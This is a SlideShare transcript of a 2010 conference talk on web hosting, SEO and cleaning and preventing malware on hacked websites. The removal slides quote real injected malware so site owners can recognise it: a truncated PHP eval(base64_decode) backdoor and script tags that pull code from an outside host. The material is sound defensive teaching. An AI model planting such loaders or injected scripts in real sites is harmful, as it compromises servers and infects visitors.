SlideShare a Scribd company logo
Hosting & SEO
Scott Hendison
Search Commander, Inc.
SEO Automatic
About Scott Hendison
• Began “hosting“ websites in 1997 with one server in
our retail computer store, with standard DSL
• Grew to 11 servers then switched to a sort of
“datacenter co-op“ a few years ago, all in the same
local facility in Gresham Oregon.
• Not our primary business, but we still host over 1000
domains today, as well as maintain end-user hosting
accounts on several major hosts.
Web Hosting and SEO
• I've been on this panel three times and discussed –
– shared vs. dedicated servers
– Static vs. shared IP addresses
– Apache 1 vs Apache 2
– Apache vs. Windows
– .htaccess
– mod_rewrite
– Windows IIS rewriting options
– Server speed and performance
– and other riveting subjects trying to better relate to SEO
Web Hosting and SEO
Speed and Performance
• I “predicted” at Pubcon 2009 that speed will soon matter
for organic, then Matt Cutts announced next day
• Not a risky prediction, considering Adwords Quality Scores
• Speed as ranking factor began “counting” April 9, 2010
• Google has two great tools
– Page Speed for Firefox – (download inside Webmaster Tools)
– Google Chrome (right click in Chrome and “inspect element”)
But I‘m Not Talking About Speed
• Far more important
• The #1 killer of websites
• The thing that drives visitors away in droves
• Drains PPC money as fast as possible
• Google stops people from even arriving at your site!
• I’m talking about…
Malware
Malware
• Nothing can fully protect users from getting viruses
• Viruses can steal the BEST passwords & logins
• If you don’t get one, contractors, employees or family
probably will, infecting your network.
• People should use index cards and a fireproof safe
• But that’s pretty unrealistic, so learn to deal with disasters
Malware identification
• Nearly 15% of “our” sites were hacked in 2010
• Most were self inflicted through laziness and stupidity
• The hacks really didn’t vary all that much
• Getting rid of hacks can be a headache
• Getting back into Google isn’t very difficult
• Protecting yourself FROM hacks is getting easier, but…
• Sadly, the hacking keeps getting easier…
Malware
• Identification
• Removal
• Prevention
Identification
• You can get notified by a client or customer
• You discover it in a browser or AV warning
• You can see your site flagged in the SERPS
• You can get notified by Google WMT – (sometimes)
Malware Warnings
Warnings in the SERPS!
Interstitial Page
#1 Conversion Killer
• Nothing hurts you more than if people wont
come to your site in the first place.
• Once you‘ve identified a problem, what can
you do?
– Clean up the offending code
– Beg Google for a clean bill of health
Removal
• Most hacks we saw were pretty similar
• Cross Site Scripting (XSS) and SQL Injection
• Adding links and adding hosted scripts
• Hackers want to add links to your site
• Hackers want to add scripts to infect users with
viruses which in turn, steal more passwords
• Not too technical - Look for strange javascripts!
Removal
Removal
Removal
• If WMT is no help, then look at files manually
• Use backups and file comparison tools
• Check recent change dates
• Look for things that don‘t belong, often in
pages named index, home, and default - in
.php and .html extensions
• Look in headers and footers too
Removal
<?php
eval(base64_decode('aWYoIWlzc2V0KCRtNzc5djEp
KXtmdW5jdGlvbiBtNzc5digkcyl7aWYocHJlZ19tY
<snip>
XRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjJ203
Nzl2MicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlK
CRfUE9TVFsnZSddKSk7')); ?>
(<snipped> goes on for dozens of lines )
Removal
• Usually index, home, header and footer –
<script
src=http://domainX.ac.jp/course/VIVID.php
></script>
• And in most or all javascript files -
document.write('<script
src=http://domainX.ac.jp/course/VIVID.php
></script>');"
Removal
• Not all that complicated, just tedious.
• Search files for <script src=http:// and make
sure you recognize them all, and search for
eval(base64 too.
• Overly simplistic to say “clean it up“ but others
have likely had your same problem.
• Google for it w/ quotes to find YOUR exact code.
• Get a quick look at your site w/ free tool at
http://UnmaskParasites.com
Once You‘re Clean
Once You‘re Clean
Write something like this –
Thank you for identifying our malware
problem, and we believe all is now cleaned
up. We have verified that we're clean using
an online scanner -
http://www.unmaskparasites.com - and
would appreciate a speedy resolution.
Thank you,
Scott Hendison
Once You‘re Clean
• Document your process and improve it
• Get ready to have it happen again
• Begin to protect yourself – Get paranoid.
Prevention
• FTP Passwords
– Don't share FTP access – make new users instead.
– NEVER use a dictionary word in the password
– Use at least 8 characters (some people will say 20+)
– Mix Upper Case, Lower Case, numerals and symbols
– CHANGE passwords without telling your dev people
every few months.
• Stop using plain old FTP - WinSCP is free SFTP
Prevention
• Using a CMS?
• Find the documentation on locking it down
• Do ALL system updates
• Do ALL released security patches
• Routine maintenance (just like WMT & Analytics)
• More popular = more vulnerable, like WordPress
Prevention
• Nearly 8% of all sites are now WordPress*
• We work in Wordpress 95% of the time
• Same thing that makes it great makes it riskier
• Amazing plugins have been developed for safety
• Common threats have easy solutions
* Supposedly said my Matt Mullenweg at one of the 2010 WordCamp, but I can‘t prove it.
Prevention
Prevention
Prevention
Prevention
Prevention
• Total prevention may be impossible. Be prepared!
• Backup restoration sometimes faster than repair
• Hosts can may keep backups 7 days, or even less!
• Get weekly (or daily) backups in place & off-host
• Store a year of monthly backups at AWS
• Document the entire restore process and TEST
• Your site hack is generally not the webhosts fault!
Take-aways
• FAR more important than your SEO
• Dig into Webmaster Tools malware area
• Change all FTP Passwords asap, & consider SFTP
• Check for updated versions on forms, and on
your CMS
• Get backup and restore processes in place NOW
Thank You
WordPress Lunch Table Thursday 1:30
Scott Hendison
Search Commander, Inc.
shendison@seoautomatic.com

More Related Content

PPT
2010 11 pubcon_hendison_wordpress
PPTX
Installing WordPress The Right Way
PPTX
WordPress Plugins and Security
PDF
WordPress Security 101 - Meetup Nairobi March 2020
PPT
Blog World 2010 - How to Keep Your Blog from Being Hacked
PPTX
Let’s write a plugin
PPTX
Neo word press meetup ehermits - how to keep your blog from being hacked 2012
PPTX
Word press development for non developers
2010 11 pubcon_hendison_wordpress
Installing WordPress The Right Way
WordPress Plugins and Security
WordPress Security 101 - Meetup Nairobi March 2020
Blog World 2010 - How to Keep Your Blog from Being Hacked
Let’s write a plugin
Neo word press meetup ehermits - how to keep your blog from being hacked 2012
Word press development for non developers

What's hot (20)

PDF
What Multisite can do for You - Anthony Cole - WordCamp Sydney 2012
PPTX
How to create a WordPress Site
PDF
Get Involved with WordPress
PPTX
Speed up Your Joomla Site for Ultimate Performance
PPTX
WordPress Workshop
PPTX
Squeeze Maximum Performance From Your Joomla Website
PDF
"Turbo boost your website" aka BigPipe at Webinale 2014 in Berlin
PDF
Word press workshop powerpoint
PDF
WordPress Security 101 - WordCamp Nairobi 2019
PDF
Isomorphic WordPress Applications with NodeifyWP
PDF
WordPress Theme Reviewers Team
KEY
PPTX
Building the basics (WordPress Ottawa 2014)
PDF
My Website Can Vote - The Challenges of Maintaining a 20-year-old Website
PDF
Head Slapping WordPress Security
PDF
WordPress Meetup Bandung - December 2014
PPTX
WordPress Security
PDF
Theming in WordPress - Where do I Start?
PPTX
DNN Summit: Robots.txt & Multi-Site DNN Instances
PPTX
NEPA BlogCon 2013 - WordPress Customization & Security
What Multisite can do for You - Anthony Cole - WordCamp Sydney 2012
How to create a WordPress Site
Get Involved with WordPress
Speed up Your Joomla Site for Ultimate Performance
WordPress Workshop
Squeeze Maximum Performance From Your Joomla Website
"Turbo boost your website" aka BigPipe at Webinale 2014 in Berlin
Word press workshop powerpoint
WordPress Security 101 - WordCamp Nairobi 2019
Isomorphic WordPress Applications with NodeifyWP
WordPress Theme Reviewers Team
Building the basics (WordPress Ottawa 2014)
My Website Can Vote - The Challenges of Maintaining a 20-year-old Website
Head Slapping WordPress Security
WordPress Meetup Bandung - December 2014
WordPress Security
Theming in WordPress - Where do I Start?
DNN Summit: Robots.txt & Multi-Site DNN Instances
NEPA BlogCon 2013 - WordPress Customization & Security
Ad

Similar to 2010 11 pubcon_hendison-hosting (20)

PDF
Security Presentation for Boulder WordPress Meetup
PDF
How to Increase Security on your Wordpress Website
PPTX
Wordpress Security & Hardening Steps
PDF
I Have My WordPress Site Now What?
PPTX
WordPress Security and Best Practices
PPTX
WordPress security
PPTX
Making & Keeping WordPress Secure
PPTX
Intro to SEO
PDF
Your WordPress Site is and is not Hacked - You don't know until you check
PDF
גיא אילון Websense
PDF
WordCamp Mid-Atlantic WordPress Security
PDF
Keep Your SIte Secure
PDF
Your WordPress Website Is/Not Hacked
PPTX
Word press security 101
PPTX
Hacked - What do you do now?
PDF
WordPress Security 101
PDF
WordPress Security Essentials
PPTX
Reducing Server Resources: Improve Costs, SEO, Conversions & UX
PDF
Your WordPress Site Is Getting Hacked; What Should You Do.pdf
PPT
WordPress Security
Security Presentation for Boulder WordPress Meetup
How to Increase Security on your Wordpress Website
Wordpress Security & Hardening Steps
I Have My WordPress Site Now What?
WordPress Security and Best Practices
WordPress security
Making & Keeping WordPress Secure
Intro to SEO
Your WordPress Site is and is not Hacked - You don't know until you check
גיא אילון Websense
WordCamp Mid-Atlantic WordPress Security
Keep Your SIte Secure
Your WordPress Website Is/Not Hacked
Word press security 101
Hacked - What do you do now?
WordPress Security 101
WordPress Security Essentials
Reducing Server Resources: Improve Costs, SEO, Conversions & UX
Your WordPress Site Is Getting Hacked; What Should You Do.pdf
WordPress Security
Ad

Recently uploaded (20)

PDF
Encapsulation theory and applications.pdf
PDF
KodekX | Application Modernization Development
PPTX
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PDF
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
PDF
CIFDAQ's Market Insight: SEC Turns Pro Crypto
PPTX
A Presentation on Artificial Intelligence
PPTX
Big Data Technologies - Introduction.pptx
PDF
Empathic Computing: Creating Shared Understanding
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
PPT
Teaching material agriculture food technology
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
Encapsulation theory and applications.pdf
KodekX | Application Modernization Development
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
Advanced methodologies resolving dimensionality complications for autism neur...
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
The Rise and Fall of 3GPP – Time for a Sabbatical?
Diabetes mellitus diagnosis method based random forest with bat algorithm
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
Understanding_Digital_Forensics_Presentation.pptx
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
CIFDAQ's Market Insight: SEC Turns Pro Crypto
A Presentation on Artificial Intelligence
Big Data Technologies - Introduction.pptx
Empathic Computing: Creating Shared Understanding
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
Teaching material agriculture food technology
Digital-Transformation-Roadmap-for-Companies.pptx
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy

2010 11 pubcon_hendison-hosting

  • 1. Hosting & SEO Scott Hendison Search Commander, Inc. SEO Automatic
  • 2. About Scott Hendison • Began “hosting“ websites in 1997 with one server in our retail computer store, with standard DSL • Grew to 11 servers then switched to a sort of “datacenter co-op“ a few years ago, all in the same local facility in Gresham Oregon. • Not our primary business, but we still host over 1000 domains today, as well as maintain end-user hosting accounts on several major hosts.
  • 3. Web Hosting and SEO • I've been on this panel three times and discussed – – shared vs. dedicated servers – Static vs. shared IP addresses – Apache 1 vs Apache 2 – Apache vs. Windows – .htaccess – mod_rewrite – Windows IIS rewriting options – Server speed and performance – and other riveting subjects trying to better relate to SEO
  • 4. Web Hosting and SEO Speed and Performance • I “predicted” at Pubcon 2009 that speed will soon matter for organic, then Matt Cutts announced next day • Not a risky prediction, considering Adwords Quality Scores • Speed as ranking factor began “counting” April 9, 2010 • Google has two great tools – Page Speed for Firefox – (download inside Webmaster Tools) – Google Chrome (right click in Chrome and “inspect element”)
  • 5. But I‘m Not Talking About Speed • Far more important • The #1 killer of websites • The thing that drives visitors away in droves • Drains PPC money as fast as possible • Google stops people from even arriving at your site! • I’m talking about…
  • 7. Malware • Nothing can fully protect users from getting viruses • Viruses can steal the BEST passwords & logins • If you don’t get one, contractors, employees or family probably will, infecting your network. • People should use index cards and a fireproof safe • But that’s pretty unrealistic, so learn to deal with disasters
  • 8. Malware identification • Nearly 15% of “our” sites were hacked in 2010 • Most were self inflicted through laziness and stupidity • The hacks really didn’t vary all that much • Getting rid of hacks can be a headache • Getting back into Google isn’t very difficult • Protecting yourself FROM hacks is getting easier, but… • Sadly, the hacking keeps getting easier…
  • 10. Identification • You can get notified by a client or customer • You discover it in a browser or AV warning • You can see your site flagged in the SERPS • You can get notified by Google WMT – (sometimes)
  • 12. Warnings in the SERPS!
  • 14. #1 Conversion Killer • Nothing hurts you more than if people wont come to your site in the first place. • Once you‘ve identified a problem, what can you do? – Clean up the offending code – Beg Google for a clean bill of health
  • 15. Removal • Most hacks we saw were pretty similar • Cross Site Scripting (XSS) and SQL Injection • Adding links and adding hosted scripts • Hackers want to add links to your site • Hackers want to add scripts to infect users with viruses which in turn, steal more passwords • Not too technical - Look for strange javascripts!
  • 18. Removal • If WMT is no help, then look at files manually • Use backups and file comparison tools • Check recent change dates • Look for things that don‘t belong, often in pages named index, home, and default - in .php and .html extensions • Look in headers and footers too
  • 20. Removal • Usually index, home, header and footer – <script src=http://domainX.ac.jp/course/VIVID.php ></script> • And in most or all javascript files - document.write('<script src=http://domainX.ac.jp/course/VIVID.php ></script>');"
  • 21. Removal • Not all that complicated, just tedious. • Search files for <script src=http:// and make sure you recognize them all, and search for eval(base64 too. • Overly simplistic to say “clean it up“ but others have likely had your same problem. • Google for it w/ quotes to find YOUR exact code. • Get a quick look at your site w/ free tool at http://UnmaskParasites.com
  • 23. Once You‘re Clean Write something like this – Thank you for identifying our malware problem, and we believe all is now cleaned up. We have verified that we're clean using an online scanner - http://www.unmaskparasites.com - and would appreciate a speedy resolution. Thank you, Scott Hendison
  • 24. Once You‘re Clean • Document your process and improve it • Get ready to have it happen again • Begin to protect yourself – Get paranoid.
  • 25. Prevention • FTP Passwords – Don't share FTP access – make new users instead. – NEVER use a dictionary word in the password – Use at least 8 characters (some people will say 20+) – Mix Upper Case, Lower Case, numerals and symbols – CHANGE passwords without telling your dev people every few months. • Stop using plain old FTP - WinSCP is free SFTP
  • 26. Prevention • Using a CMS? • Find the documentation on locking it down • Do ALL system updates • Do ALL released security patches • Routine maintenance (just like WMT & Analytics) • More popular = more vulnerable, like WordPress
  • 27. Prevention • Nearly 8% of all sites are now WordPress* • We work in Wordpress 95% of the time • Same thing that makes it great makes it riskier • Amazing plugins have been developed for safety • Common threats have easy solutions * Supposedly said my Matt Mullenweg at one of the 2010 WordCamp, but I can‘t prove it.
  • 32. Prevention • Total prevention may be impossible. Be prepared! • Backup restoration sometimes faster than repair • Hosts can may keep backups 7 days, or even less! • Get weekly (or daily) backups in place & off-host • Store a year of monthly backups at AWS • Document the entire restore process and TEST • Your site hack is generally not the webhosts fault!
  • 33. Take-aways • FAR more important than your SEO • Dig into Webmaster Tools malware area • Change all FTP Passwords asap, & consider SFTP • Check for updated versions on forms, and on your CMS • Get backup and restore processes in place NOW
  • 34. Thank You WordPress Lunch Table Thursday 1:30 Scott Hendison Search Commander, Inc. shendison@seoautomatic.com